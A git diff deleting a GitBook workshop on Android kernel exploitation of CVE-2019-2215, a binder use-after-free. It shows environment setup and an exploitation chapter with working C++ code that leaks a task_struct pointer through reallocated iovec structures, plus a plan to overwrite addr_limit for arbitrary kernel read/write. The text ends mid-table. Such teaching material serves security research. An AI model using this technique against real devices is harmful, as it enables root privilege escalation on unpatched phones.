                  diff --git a/gitbook/SUMMARY.md b/gitbook/SUMMARY.md deleted file mode 100644 index 1f672a3..0000000 --- a/gitbook/SUMMARY.md +++ /dev/null @@ -1,55 +0,0 @@ -# Summary - -* [Introduction](README.md) -* [Environment Setup](chapters/environment-setup.md) - * [Hardware Requirements](chapters/environment-setup.md#hardware-requirements) - * [Software Requirements](chapters/environment-setup.md#software-requirements) - * [GDB](chapters/environment-setup.md#gdb) - * [Workshop Repository](chapters/environment-setup.md#workshop-repository) - * [Android Studio](chapters/environment-setup.md#android-studio) - * [Android NDK](chapters/environment-setup.md#android-ndk) - * [Android Virtual Device](chapters/environment-setup.md#android-virtual-device) - * [Android Kernel Source Code](chapters/environment-setup.md#android-kernel-source-code) -* [Linux Privilege Escalation](chapters/linux-privilege-escalation.md) - * [Light Weight Process](chapters/linux-privilege-escalation.md#light-weight-process) - * [Process Credentials](chapters/linux-privilege-escalation.md#process-credentials) - * [SELinux](chapters/linux-privilege-escalation.md#selinux) - * [selinux_enforcing](chapters/linux-privilege-escalation.md#selinux-enforcing) - * [SecComp](chapters/linux-privilege-escalation.md#seccomp) -* [Vulnerability Discovery](chapters/vulnerability-discovery.md) - * [Original Discovery](chapters/vulnerability-discovery.md#original-discovery) - * [Rediscovery](chapters/vulnerability-discovery.md#rediscovery) - * [Patch](chapters/vulnerability-discovery.md#patch) -* [Vulnerability Trigger](chapters/vulnerability-trigger.md) - * [Reintroduction](chapters/vulnerability-trigger.md#reintroduction) - * [Build Kernel With KASan](chapters/vulnerability-trigger.md#build-kernel-with-kasan) - * [Boot Kernel](chapters/vulnerability-trigger.md#boot-kernel) - * [Crash](chapters/vulnerability-trigger.md#crash) - * [KASan Symbolizer](chapters/vulnerability-trigger.md#kasan-symbolizer) -* [Scripted Privilege Escalation](chapters/scripted-privilege-escalation.md) - * [Kernel Debugging](chapters/scripted-privilege-escalation.md#kernel-debugging) -* [Root Cause Analysis](chapters/root-cause-analysis.md) - * [Revisiting Crash](chapters/root-cause-analysis.md#revisiting-crash) - * [Allocation](chapters/root-cause-analysis.md#revisiting-crash-allocation) - * [Free](chapters/root-cause-analysis.md#revisiting-crash-free) - * [Use](chapters/root-cause-analysis.md#revisiting-crash-use) - * [Visual Studio Code](chapters/root-cause-analysis.md#visual-studio-code) - * [Static Analysis](chapters/root-cause-analysis.md#static-analysis) - * [open](chapters/root-cause-analysis.md#syscall-open) - * [epoll_create](chapters/root-cause-analysis.md#syscall-epoll-create) - * [epoll_ctl](chapters/root-cause-analysis.md#syscall-epoll-ctl) - * [ioctl](chapters/root-cause-analysis.md#syscall-ioctl) - * [ep_remove](chapters/root-cause-analysis.md#syscall-ep-remove) - * [Static Analysis Recap](chapters/root-cause-analysis.md#static-analysis-recap) - * [Dynamic Analysis](chapters/root-cause-analysis.md#dynamic-analysis) - * [hw.cpu.ncore](chapters/root-cause-analysis.md#hw-cpu-ncore) - * [Build Kernel Without KASan](chapters/root-cause-analysis.md#build-kernel-without-kasan) - * [Kernel Tracing](chapters/root-cause-analysis.md#kernel-tracing) -* [Exploitation](chapters/exploitation.md) - * [Primitive](chapters/exploitation.md#primitive) - * [Corruption Target](chapters/exploitation.md#corruption-target) - * [Leaking task_struct\*](chapters/exploitation.md#leaking-task-struct-pointer) - * [Clobber addr_limit](chapters/exploitation.md#clobber-addr-limit) - * [Exploit In Action](chapters/exploitation.md#exploit-in-action) -* [GDB Macros](chapters/gdb-macros.md) -* [Resources](chapters/resources.md) diff --git a/gitbook/book.json b/gitbook/book.json deleted file mode 100644 index 2b69ac1..0000000 --- a/gitbook/book.json +++ /dev/null @@ -1,31 +0,0 @@ -{ - "title": "Android Kernel Exploitation", - "author": "Ashfaq Ansari (@HackSysTeam)", - "plugins": [ - "-livereload", - "-highlight", - "collapsible-chapters", - "github", - "sharing", - "ga", - "prism", - "prism-themes" - ], - "pluginsConfig": { - "fontsettings": { - "theme": "night", - "family": "sans" - }, - "github": { - "url": "https://github.com/cloudfuzz/android-kernel-exploitation" - }, - "ga": { - "token": "UA-163782039-1" - }, - "prism": { - "css": [ - "prism-themes/themes/prism-atom-dark.css" - ] - } - } -} \ No newline at end of file diff --git a/gitbook/chapters/environment-setup.md b/gitbook/chapters/environment-setup.md deleted file mode 100644 index 2e2f126..0000000 --- a/gitbook/chapters/environment-setup.md +++ /dev/null @@ -1,188 +0,0 @@ -# Environment Setup - -The whole analysis and exploitation will been done in a *virtual* environment for the ease of access and debugging. - - -## Hardware Requirements {#hardware-requirements} - -* **40 GB free hard drive space** -* **8 GB+ of RAM** -* **Multi-core processor** - - -## Software Requirements {#software-requirements} - -For this workshop, we will need to install the below given items in **Ubuntu 18.04 LTS** host machine. However, **Windows**, **Mac OSX** and **other OS** are also supported. - -* **GDB** -* **Workshop Repository** -* **Android Studio** -* **Android NDK** -* **Android Virtual Device** -* **Android Kernel Source Code** - - -## GDB {#gdb} - -Open a terminal window and type the below given command to verify if **GDB** is installed. We will need **GDB** compiled with **python 2.7** support. - -```bash -ashfaq@hacksys:~$ gdb --version -GNU gdb (GDB) 8.2 -Copyright (C) 2018 Free Software Foundation, Inc. -License GPLv3+: GNU GPL version 3 or later -This is free software: you are free to change and redistribute it. -There is NO WARRANTY, to the extent permitted by law. - -ashfaq@hacksys:~$ gdb -quiet -GEF for linux ready, type `gef' to start, `gef config' to configure -77 commands loaded for GDB 8.2 using Python engine 2.7 -[*] 3 commands could not be loaded, run `gef missing` to know why. -gef> py ->import sys ->print sys.version_info ->end -sys.version_info(major=2, minor=7, micro=17, releaselevel='final', serial=0) -gef> q - -ashfaq@hacksys:~$ readelf -d $(which gdb) | grep python - 0x0000000000000001 (NEEDED) Shared library: [libpython2.7.so.1.0] - -ashfaq@hacksys:~$ python --version -Python 2.7.17 -``` - -If **GDB** is not installed in your system, please make sure to install it with **python 2.7** support. - - -### Workshop Repository {#workshop-repository} - -Open a terminal window and type the below given command to **clone** the **workshop** repository. - -```bash -ashfaq@hacksys:~$ git clone https://github.com/cloudfuzz/android-kernel-exploitation ~/workshop -``` - - -### Android Studio {#android-studio} - -Installation instruction for **Android Studio** can be found here https://developer.android.com/studio/install - -Once **Android Studio** is installed, make sure to add `~/Android/Sdk/platform-tools` and `~/Android/Sdk/emulator` to your `PATH` environment variable. This will allow as to access `adb` and `emulator` command without specifying the complete path. - - -### Android NDK {#android-ndk} - -Installation instruction for **Android NDK** can be found here https://developer.android.com/studio/projects/install-ndk - -

                  - Android Studio -

                  - -

                  - Configure Menu -

                  - -

                  - NDK Version -

                  - -> I'm currently using **Android NDK** version: **21.0.6113669**. However, the latest version of the **Android NDK** should be fine. - - -### Android Virtual Device {#android-virtual-device} - -For this workshop, we are going to use **Android 10.0 (Q)** `Google Play Intel x86 Atom_64 System Image`. - -

                  - Android System Image -

                  - -Once you have downloaded the **system image**, we will have to create a **Virtual Device**. - -

                  - AVD Main Window -

                  - -

                  - AVD Device Definition -

                  - -

                  - AVD System Image -

                  - -

                  - AVD Configuration Verification -

                  - -

                  - AVD Device List -

                  - -

                  - Android Emulator -

                  - -You can also launch the virtual device that we created from the command line. - -```bash -ashfaq@hacksys:~/workshop$ emulator -avd CVE-2019-2215 -``` - - -### Android Kernel Source Code {#android-kernel-source-code} - -**Android** is powered by **Linux** kernel. For this workshop, we are going to use `q-goldfish-android-goldfish-4.14-dev` branch of the Android kernel source repository. - - -> **Note:** For more information on building custom kernels for Android visit https://source.android.com/setup/build/building-kernels - - -Google suggests to use `repo` for *synchronizing* the kernel source tree. Read more about `repo` here: https://gerrit.googlesource.com/git-repo/+/refs/heads/master/README.md - -Once `repo` has been installed, you can now start *synchronizing* the kernel source tree. This will also download the necessary build tools. - -We do not want to download the repository with all the commit history and different branches. So, we will do a *shallow* clone. - -Currently, I'm on [`182a76ba7053af521e4c0d5fd62134f1e323191d`](https://android.googlesource.com/kernel/goldfish/+log/182a76ba7053af521e4c0d5fd62134f1e323191d) *commit id* and `repo` command does not allow us to specify a *commit id* to clone from command line. So, I have created a **custom manifest** file that we will replace after the `repo` has been initialized. - -```xml - - - - - - - - - - - - -``` - -The only change I did in this custom manifest was to specify the *commit hash* in the revision attribute instead of branch name. - -```diff -6c6 -< ---- -> -``` - - -> **Note:** It will take around **12 GB** of disk space, so make sure you have enough *space* on the machine before running the below commands. - - -```bash -ashfaq@hacksys:~$ mkdir ~/workshop -ashfaq@hacksys:~$ cd workshop/ -ashfaq@hacksys:~/workshop$ mkdir android-4.14-dev -ashfaq@hacksys:~/workshop$ cd android-4.14-dev/ -ashfaq@hacksys:~/workshop/android-4.14-dev$ repo init --depth=1 -u https://android.googlesource.com/kernel/manifest -b q-goldfish-android-goldfish-4.14-dev -ashfaq@hacksys:~/workshop/android-4.14-dev$ cp ../custom-manifest/default.xml .repo/manifests/ -ashfaq@hacksys:~/workshop/android-4.14-dev$ repo sync -c --no-tags --no-clone-bundle -j`nproc` -``` - -Once the source tree has been *synchronized*, we are good to proceed with the workshop. diff --git a/gitbook/chapters/exploitation.md b/gitbook/chapters/exploitation.md deleted file mode 100644 index df5e0ef..0000000 --- a/gitbook/chapters/exploitation.md +++ /dev/null @@ -1,1011 +0,0 @@ -# Exploitation - -In **[Root Cause Analysis](root-cause-analysis.md)** section we understood the vulnerability and why it happened. - -We know that there are **two** places where the use of **dangling** `binder_thread` structure chunk happens. - -The **first** use happen when `remove_wait_qeue` function tries to acquire the **spin lock**. However, it is not so much interesting from the point of view of exploitation. - -The **second** use happens in the internal function `__remove_wait_queue` where it tries to **unlink** the **poll wait queue**. This is very interesting from the point of view of exploitation as we get a primitive where we can write pointer to `binder_thread->wait.head` to `binder_thread->wait.head.next` and `binder_thread->wait.head.prev` on a **dangling** chunk. - -Let's revisit the `struct binder_thread` which is defined in `workshop/android-4.14-dev/goldfish/drivers/android/binder.c`. - -```c -struct binder_thread { - struct binder_proc *proc; - struct rb_node rb_node; - struct list_head waiting_thread_node; - int pid; - int looper; /* only modified by this thread */ - bool looper_need_return; /* can be written by other thread */ - struct binder_transaction *transaction_stack; - struct list_head todo; - bool process_todo; - struct binder_error return_error; - struct binder_error reply_error; - wait_queue_head_t wait; - struct binder_stats stats; - atomic_t tmp_ref; - bool is_dead; - struct task_struct *task; -}; -``` - -If you look closely, you will notice that pointer to `struct task_struct` is also a member of this `binder_thread` structure. - -If somehow we can leak this, we will know where the `task_struct` of the current process is. - - -> **Note:** Read more about `task_struct` structure and Linux **privilege escalation** in **[Linux Privilege Escalation](linux-privilege-escalation.md)** section. - - -Now, let's see how we can exploit this **vulnerability**. As the **exploit mitigations** are increasing day by day, it's very important to build better **primitives**. - - -## Primitive {#primitive} - -`task_struct` structure has an important member `addr_limit` of type `mm_segment_t`. `addr_limit` stores the highest valid **user space** address. - -`addr_limit` is part of `struct thread_info` or `struct thread_struct` depending on the target **architecture**. As we are now dealing with **x86_64** bit system, `addr_limit` is defined in `struct thread_struct` and it's part of `task_struct` structure. - - -To understand more about `addr_limit`, let's see the prototype of `read` and `write` system call. - -```c -ssize_t read(int fd, void *buf, size_t count); -ssize_t write(int fd, const void *buf, size_t count); -``` - -`read`, `write`, etc., system call can pass a pointer to **user space** address to system functions. This is where `addr_limit` comes into picture. These system functions use `access_ok` function to validate if the passed address is really a **user space** address and it's accessible. - - -As we are on **x86_64** bit system at the moment, let's open `workshop/android-4.14-dev/goldfish/arch/x86/include/asm/uaccess.h` and see how `access_ok` is defined. - -```c -#define access_ok(type, addr, size) \ -({ \ - WARN_ON_IN_IRQ(); \ - likely(!__range_not_ok(addr, size, user_addr_max())); \ -}) - -#define user_addr_max() (current->thread.addr_limit.seg) -``` - -As you can see `user_addr_max` uses `current->thread.addr_limit.seg` for validation. If we can clobber this `addr_limit` with `0xFFFFFFFFFFFFFFFF`, we will be able to read and write to any part of the **kernel space** memory. - -> **Note:** **Vitaly Nikolenko (@vnik5287)** pointed out that in **arm64** there is a check in `do_page_fault` function which will crash the process if the `addr_limit` is set to `0xFFFFFFFFFFFFFFFF`. I did all of my tests on **x86_64** system so did not notice that in the beginning. - - -Let's open `workshop/android-4.14-dev/goldfish/arch/arm64/mm/fault.c` and investigate `do_page_fault` function. - -```c -static int __kprobes do_page_fault(unsigned long addr, unsigned int esr, - struct pt_regs *regs) -{ - struct task_struct *tsk; - struct mm_struct *mm; - int fault, sig, code, major = 0; - unsigned long vm_flags = VM_READ | VM_WRITE; - unsigned int mm_flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE; - [...] - if (is_ttbr0_addr(addr) && is_permission_fault(esr, regs, addr)) { - /* regs->orig_addr_limit may be 0 if we entered from EL0 */ - if (regs->orig_addr_limit == KERNEL_DS) - die("Accessing user space memory with fs=KERNEL_DS", regs, esr); - [...] - } - [...] - return 0; -} -``` - -* checks if `orig_addr_limit == KERNEL_DS` then it will crash, basically `KERNEL_DS = 0xFFFFFFFFFFFFFFFF` - - -For the better **compatibility** of the exploit on **x86_64** and **arm64**, it's better to set `addr_limit` to `0xFFFFFFFFFFFFFFFE`. - - -Using this vulnerability, we would like to corrupt `addr_limit` to upgrade our simple primitive to more powerful primitive called **Arbitrary Read Write** primitive. - -**Arbitrary Read Write** primitives are also called as **data only** attacks. Where we do not hijack the **execution flow** of the **CPU** and just corrupt targeted data structures to achieve **privilege escalation**. - - -## Corruption Target {#corruption-target} - -We are going to use `struct iovec` as the corruption target as used by **Maddie Stone** and **Jann Horn** of **Project Zero**. The use of `struct iovec` was first published by **Di Shen** of **KeenLab**. - -`struct iovec` is used for **[Vectored I/O](https://en.wikipedia.org/wiki/Vectored_I/O)** also know as **[Scatter/Gather I/O](https://www.gnu.org/software/libc/manual/html_node/Scatter_002dGather.html)**. - -**Vectored I/O** is used to **read** data to a single buffer from multiple buffers and **write** data from single buffer to multiple buffers. This is used to reduce the overhead associated with multiple system calls if we want to read and write to multiple buffers using `read` or `write` system call. - -In Linux, **Vectored I/O** is achieved using `iovec` structure and system calls like `readv`, `writev`, `recvmsg`, `sendmsg`, etc. - -Let's see how `struct iovec` is defined in `workshop/android-4.14-dev/goldfish/include/uapi/linux/uio.h`. - -```c -struct iovec -{ - void __user *iov_base; /* BSD uses caddr_t (1003.1g requires void *) */ - __kernel_size_t iov_len; /* Must be size_t (1003.1g) */ -}; -``` - -To better understand **Vectored I/O**, and how `iovec` works let's see the below given diagram. - -

                  - Vectored I/O Working -

                  - -Advantages of `struct iovec` - -* small in size, on **x64 bit** system it's size is **0x10** bytes -* we can control all the members `iov_base` and `iov_len` -* we can stack them together to control desired **kmalloc cache** -* it has a pointer to **buffer** and **length** of the buffer, which is a great target for corruption - -One of the main **issue** with `struct iovec` is that they are **short lived**. They are allocated by system calls when they are working with the buffers and immediately freed when they return to user mode. - -We want the `iovec` structure to stay in kernel when we trigger the **unlink** operation and overwrite the `iov_base` pointer with the address of `binder_thread->wait.head` to gain scoped read and write. - - -> **Note:** We are on **Android 4.14** kernel, however, **Project Zero** guys wrote the exploit for **Android 4.4** kernel which does not have additional `access_ok` checks in `lib/iov_iter.c`. So, we had already applied the patch to revert those additional **checks** which would prevents us from leaking **kernel space** memory chunk. - - -**How do we make `iovec` structure stay in kernel before we trigger the unlink operation?** - -One way is to use system calls like `readv`, `writev` on a `pipe` file descriptor because it can **block** if the `pipe` is **full** or **empty**. - -`pipe` is an **unidirectional** data channel that can be used for interprocess communication. The blocking feature of `pipe` gives us significant time window to corrupt `iovec` structure in **kernel space**. - -In the same manner we can use `recvmsg` system call to **block** by passing `MSG_WAITALL` as the flag parameter. - -Let's dig into `writev` system call and figure out how it uses `iovec` structure. Let's open `workshop/android-4.14-dev/goldfish/fs/read_write.c` and look into the implementation. - - -```c -SYSCALL_DEFINE3(writev, unsigned long, fd, const struct iovec __user *, vec, - unsigned long, vlen) -{ - return do_writev(fd, vec, vlen, 0); -} - -static ssize_t do_writev(unsigned long fd, const struct iovec __user *vec, - unsigned long vlen, rwf_t flags) -{ - struct fd f = fdget_pos(fd); - ssize_t ret = -EBADF; - - if (f.file) { - [...] - ret = vfs_writev(f.file, vec, vlen, &pos, flags); - [...] - } - [...] - return ret; -} - -static ssize_t vfs_writev(struct file *file, const struct iovec __user *vec, - unsigned long vlen, loff_t *pos, rwf_t flags) -{ - struct iovec iovstack[UIO_FASTIOV]; - struct iovec *iov = iovstack; - struct iov_iter iter; - ssize_t ret; - - ret = import_iovec(WRITE, vec, vlen, ARRAY_SIZE(iovstack), &iov, &iter); - if (ret >= 0) { - [...] - ret = do_iter_write(file, &iter, pos, flags); - [...] - } - return ret; -} -``` - -* `writev` passes the pointer to `iovec` structure and **number** of `iovec` from user space to a function `do_writev` -* `do_writev` passes the same information to another function `vfs_writev` with some additional parameters -* `vfs_writev` passes the same information to another function `import_iovec` with some additional parameters - - -Let's open `workshop/android-4.14-dev/goldfish/lib/iov_iter.c` and look at the implementation of `import_iovec` function. - -```c -int import_iovec(int type, const struct iovec __user * uvector, - unsigned nr_segs, unsigned fast_segs, - struct iovec **iov, struct iov_iter *i) -{ - ssize_t n; - struct iovec *p; - n = rw_copy_check_uvector(type, uvector, nr_segs, fast_segs, - *iov, &p); - [...] - iov_iter_init(i, type, p, nr_segs, n); - *iov = p == *iov ? NULL : p; - return 0; -} -``` - -* `import_iovec` passes the same information about `iovec` to another function `rw_copy_check_uvector` with some additional parameters -* initializes the kernel `iovec` structure stack by calling `iov_iter_init` - - -Let's open `workshop/android-4.14-dev/goldfish/fs/read_write.c` and look at the implementation of `rw_copy_check_uvector` function. - -```c -ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector, - unsigned long nr_segs, unsigned long fast_segs, - struct iovec *fast_pointer, - struct iovec **ret_pointer) -{ - unsigned long seg; - ssize_t ret; - struct iovec *iov = fast_pointer; - [...] - if (nr_segs > fast_segs) { - iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL); - [...] - } - if (copy_from_user(iov, uvector, nr_segs*sizeof(*uvector))) { - [...] - } - [...] - ret = 0; - for (seg = 0; seg < nr_segs; seg++) { - void __user *buf = iov[seg].iov_base; - ssize_t len = (ssize_t)iov[seg].iov_len; - [...] - if (type >= 0 - && unlikely(!access_ok(vrfy_dir(type), buf, len))) { - [...] - } - if (len > MAX_RW_COUNT - ret) { - len = MAX_RW_COUNT - ret; - iov[seg].iov_len = len; - } - ret += len; - } - [...] - return ret; -} -``` - -* `rw_copy_check_uvector` allocates **kernel space** memory and calculates the **size** of the allocation by doing `nr_segs*sizeof(struct iovec)` - * here, `nr_segs` is equal to the count in `iovec` structure stack that we passed from **user space** -* copies the `iovec` structure stack from **user space** to newly allocated **kernel space** by calling `copy_from_user` function. -* validates whether `iov_base` pointer is valid by calling `access_ok` function. - -As you can see how `rw_copy_check_uvector` helps us to control desired **kmalloc cache** - - -## Leaking task_struct* {#leaking-task-struct-pointer} - -Let's see the strategy to leak `task_struct` pointer which is stored in `binder_thread`. We will use `writev` system call this time as we want to achieve **scoped read** from **kernel space** to **user space**. - -Size of `binder_thread` structure is equal to `408` bytes. If you know about **SLUB** allocator, you will know that **kmalloc-512** contains all the object whose size is **greater** than **256** but **less than equal** to **512** bytes. As the size of the `binder_thread` structure is `408` bytes, it will end up in **kmalloc-512** cache. - -First we need to figure out how many `iovec` structure we need to stack up to reallocate `binder_thread` **freed** chunk. - -``` -gef> p /d sizeof(struct binder_thread) -$4 = 408 -gef> p /d sizeof(struct iovec) -$5 = 16 -gef> p /d sizeof(struct binder_thread) / sizeof(struct iovec) -$9 = 25 -gef> p /d 25*16 -$16 = 400 -``` - -We see that we will need to stack up **25** `iovec` structures to reallocate the **dangling** chunk. - - -> **Note**: **25** `iovec` structures are **400** bytes in size. This is a good thing, otherwise `task_struct` pointer would also get clobbered and we would not be able to leak it. - - -If you remember, when the **unlink** operation happened **two** **quadwords** where written to the **dangling** chunk. Let's figure out which `iovec` structures will be clobbered. - -```c -gef> p /d offsetof(struct binder_thread, wait) / sizeof(struct iovec) -$13 = 10 -``` - - -| offset | binder_thread | iovecStack | -|--------|----------------|----------------------------------------------| -| 0x00 | ... | iovecStack[0].iov_base = 0x0000000000000000 | -| 0x08 | ... | iovecStack[0].iov_len = 0x0000000000000000 | -| ... | ... | ... | -| ... | ... | ... | -| 0xA0 | wait.lock | iovecStack[10].iov_base = m_4gb_aligned_page | -| 0xA8 | wait.head.next | iovecStack[10].iov_len = PAGE_SIZE | -| 0xB0 | wait.head.prev | iovecStack[11].iov_base = 0x41414141 | -| 0xB8 | ... | iovecStack[11].iov_len = PAGE_SIZE | -| ... | ... | ... | - - -As we can see from the above table, `iovecStack[10].iov_len` and `iovecStack[11].iov_base` will be clobbered. - -So, we would want to process `iovecStack[10]`, block `writev` system call and then trigger the **unlink** operation. This will ensure that when `iovecStack[11].iov_base` is clobbered, we will resume the `writev` system call. Then finally, leak the content of the `binder_thread` chunk back to **user space** and read `task_struct` pointer from it. - - -**But, what's the importance of `m_4gb_aligned_page` in this case?** - -Before doing the **unlink** operation, `remove_wait_queue` tries to acquire **spin lock**. If the value is not `0`, then the thread will keep on **spinning** and the **unlink** operation will never occur. As `iov_base` is a **64 bit** value, we want to ensure that lower **32 bits** is `0`. - - -> **Note:** To effectively, use the **blocking** feature of `writev` system calls we will need at least two **light weight processes**. - - -Let's build the attack plan to leak `task_struct` structure pointer - -* create `pipe`, get the file descriptors and set the maximum buffer size to `PAGE_SIZE` -* link `eventpoll` wait queue to `binder_thread` wait queue -* `fork` the process - * parent process - * free the `binder_thread` structure - * trigger `writev` system call and keep blocking - * once `writev` system call resumes, it will process `iovecStack[11]` which is already clobbered due to **unlink** operation - * read the pointer to `task_struct` from the leaked **kernel space** chunk - * child process - * `sleep` to avoid race conditions - * trigger the **unlink** operation - * read dummy data from the `pipe` which is written by processing `iovecStack[10]`, this will resume `writev` system call - - -To better understand the flow of exploitation, let's see a diagram created by **Maddie Stone** on **Project Zero** blog post. The diagram is very accurate and I do not want to redraw the same. - -

                  - Task Struct Leak Exploitation Flow -

                  - - -Now, let's see the how the same could be achieved in the exploit code. - -```cpp -void BinderUaF::leakTaskStruct() { - int pipe_fd[2] = {0}; - ssize_t nBytesRead = 0; - static char dataBuffer[PAGE_SIZE] = {0}; - struct iovec iovecStack[IOVEC_COUNT] = {nullptr}; - - // - // Get binder fd - // - - setupBinder(); - - // - // Create event poll - // - - setupEventPoll(); - - // - // We are going to use iovec for scoped read/write, - // we need to make sure that iovec stays in the kernel - // before we trigger the unlink after binder_thread has - // been freed. - // - // One way to achieve this is by using the blocking APIs - // in Linux kernel. Such APIs are read, write, etc on pipe. - // - - // - // Setup pipe for iovec - // - - INFO("[+] Setting up pipe\n"); - - if (pipe(pipe_fd) == -1) { - ERR("\t[-] Unable to create pipe\n"); - exit(EXIT_FAILURE); - } else { - INFO("\t[*] Pipe created successfully\n"); - } - - // - // pipe_fd[0] = read fd - // pipe_fd[1] = write fd - // - // Default size of pipe is 65536 = 0x10000 = 64KB - // This is way much of data that we care about - // Let's reduce the size of pipe to 0x1000 - // - if (fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE) == -1) { - ERR("\t[-] Unable to change the pipe capacity\n"); - exit(EXIT_FAILURE); - } else { - INFO("\t[*] Changed the pipe capacity to: 0x%x\n", PAGE_SIZE); - } - - INFO("[+] Setting up iovecs\n"); - - // - // As we are overlapping binder_thread with iovec, - // binder_thread->wait.lock will align to iovecStack[10].io_base. - // - // If binder_thread->wait.lock is not 0 then the thread will get - // stuck in trying to acquire the lock and the unlink operation - // will not happen. - // - // To avoid this, we need to make sure that the overlapped data - // should be set to 0. - // - // iovec.iov_base is a 64bit value, and spinlock_t is 32bit, so if - // we can pass a valid memory address whose lower 32bit value is 0, - // then we can avoid spin lock issue. - // - - mmap4gbAlignedPage(); - - iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page; - iovecStack[IOVEC_WQ_INDEX].iov_len = PAGE_SIZE; - iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141; - iovecStack[IOVEC_WQ_INDEX + 1].iov_len = PAGE_SIZE; - - // - // Now link the poll wait queue to binder thread wait queue - // - - linkEventPollWaitQueueToBinderThreadWaitQueue(); - - // - // We should trigger the unlink operation when we - // have the binder_thread reallocated as iovec array - // - - // - // Now fork - // - - pid_t childPid = fork(); - - if (childPid == 0) { - // - // child process - // - - // - // There is a race window between the unlink and blocking - // in writev, so sleep for a while to ensure that we are - // blocking in writev before the unlink happens - // - - sleep(2); - - // - // Trigger the unlink operation on the reallocated chunk - // - - unlinkEventPollWaitQueueFromBinderThreadWaitQueue(); - - // - // First interesting iovec will read 0x1000 bytes of data. - // This is just the junk data that we are not interested in - // - - nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer)); - - if (nBytesRead != PAGE_SIZE) { - ERR("\t[-] CHILD: read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE); - exit(EXIT_FAILURE); - } - - exit(EXIT_SUCCESS); - - } - - // - // parent process - // - - // - // I have seen some races which hinders the reallocation. - // So, now freeing the binder_thread after fork. - // - - freeBinderThread(); - - // - // Reallocate binder_thread as iovec array - // - // We need to make sure this writev call blocks - // This will only happen when the pipe is already full - // - - // - // This print statement was ruining the reallocation, - // spent a night to figure this out. Commenting the - // below line. - // - - // INFO("[+] Reallocating binder_thread\n"); - - - ssize_t nBytesWritten = writev(pipe_fd[1], iovecStack, IOVEC_COUNT); - - // - // If the corruption was successful, the total bytes written - // should be equal to 0x2000. This is because there are two - // valid iovec and the length of each is 0x1000 - // - - if (nBytesWritten != PAGE_SIZE * 2) { - ERR("\t[-] writev failed. nBytesWritten: 0x%lx, expected: 0x%x\n", nBytesWritten, PAGE_SIZE * 2); - exit(EXIT_FAILURE); - } else { - INFO("\t[*] Wrote 0x%lx bytes\n", nBytesWritten); - } - - // - // Now read the actual data from the corrupted iovec - // This is the leaked data from kernel address space - // and will contain the task_struct pointer - // - - nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer)); - - if (nBytesRead != PAGE_SIZE) { - ERR("\t[-] read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE); - exit(EXIT_FAILURE); - } - - // - // Wait for the child process to exit - // - - wait(nullptr); - - m_task_struct = (struct task_struct *) *((int64_t *) (dataBuffer + TASK_STRUCT_OFFSET_IN_LEAKED_DATA)); - - m_pidAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, pid)); - m_credAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, cred)); - m_nsproxyAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, nsproxy)); - - INFO("[+] Leaked task_struct: %p\n", m_task_struct); - INFO("\t[*] &task_struct->pid: %p\n", m_pidAddress); - INFO("\t[*] &task_struct->cred: %p\n", m_credAddress); - INFO("\t[*] &task_struct->nsproxy: %p\n", m_nsproxyAddress); -} -``` - -I hope know you have a better idea what's going on and how in-flight `iovec` structure was used for leaking `task_struct` pointer. - - -## Clobber addr_limit {#clobber-addr-limit} - -We have leaked `task_struct` pointer, now it's time to clobber `mm_segment_t addr_limit`. - -We can't use `writev` because we do not want to achieve **scoped read** but instead we want **scoped write** to **kernel space**. Initially I tried `readv` blocking feature to achieve the **scoped write** but I found few issue because of which we can not use it. - -Below given are some of the reasons - -* `readv` will not process **one** `iovec` and block like `writev` calls does -* when `iovecStack[10].iov_len` is clobbered with a pointer, the length is now a big number and when `copy_page_to_iter_iovec` function tries to copy the data by processing the `iovec` structure stack, it fails. - - -Let's open `workshop/android-4.14-dev/goldfish/lib/iov_iter.c` and see the implementation of `copy_page_to_iter_iovec` function. - -```c -static size_t copy_page_to_iter_iovec(struct page *page, size_t offset, size_t bytes, - struct iov_iter *i) -{ - size_t skip, copy, left, wanted; - const struct iovec *iov; - char __user *buf; - void *kaddr, *from; - [...] - while (unlikely(!left && bytes)) { - iov++; - buf = iov->iov_base; - copy = min(bytes, iov->iov_len); - left = copyout(buf, from, copy); - [...] - } - [...] - return wanted - bytes; -} -``` - -* when it tries to process the clobbered `iovecStack[10]`, it tries to compute the length of the copy in this line `copy = min(bytes, iov->iov_len)` -* `bytes` is equal to sum of all the `iov_len` in the `iovecStack` and `iov->iov_len` is the `iovecStack[10].iov_len` which is now clobbered with a pointer -* this is where things **go wrong** because, now length becomes `copy = bytes` and skips the processing of `iovecStack[11]` which would have given us the **scoped write** - - -For achieving **scoped write**, we are going to use `recvmsg` system call to **block** by passing `MSG_WAITALL` as the flag parameter. `recvmsg` system call can block just like `writev` system call and would would not encounter the issue we discussed with `readv` system call. - - -Let's see what we want to write to `addr_limit` field. - -``` -gef> p sizeof(mm_segment_t) -$17 = 0x8 -``` - -As the size of `mm_segment_t` is **0x8** bytes, we would want to clobber it with `0xFFFFFFFFFFFFFFFE` as it's the highest valid **kernel space** address and will not crash the process if **page fault** occurs in **arm64** system. - - -Now, let's see how we will overlap `binder_thread` structure chunk with `iovec` structure stack in this case. - - -| offset | binder_thread | iovecStack | -|--------|----------------|------------------------------------------------| -| 0x00 | ... | iovecStack[0].iov_base = 0x0000000000000000 | -| 0x08 | ... | iovecStack[0].iov_len = 0x0000000000000000 | -| ... | ... | ... | -| ... | ... | ... | -| 0xA0 | wait.lock | iovecStack[10].iov_base = m_4gb_aligned_page | -| 0xA8 | wait.head.next | iovecStack[10].iov_len = 1 | -| 0xB0 | wait.head.prev | iovecStack[11].iov_base = 0x41414141 | -| 0xB8 | ... | iovecStack[11].iov_len = 0x8 + 0x8 + 0x8 + 0x8 | -| 0xC0 | ... | iovecStack[12].iov_base = 0x42424242 | -| 0xC8 | ... | iovecStack[12].iov_len = 0x8 | -| ... | ... | ... | - - 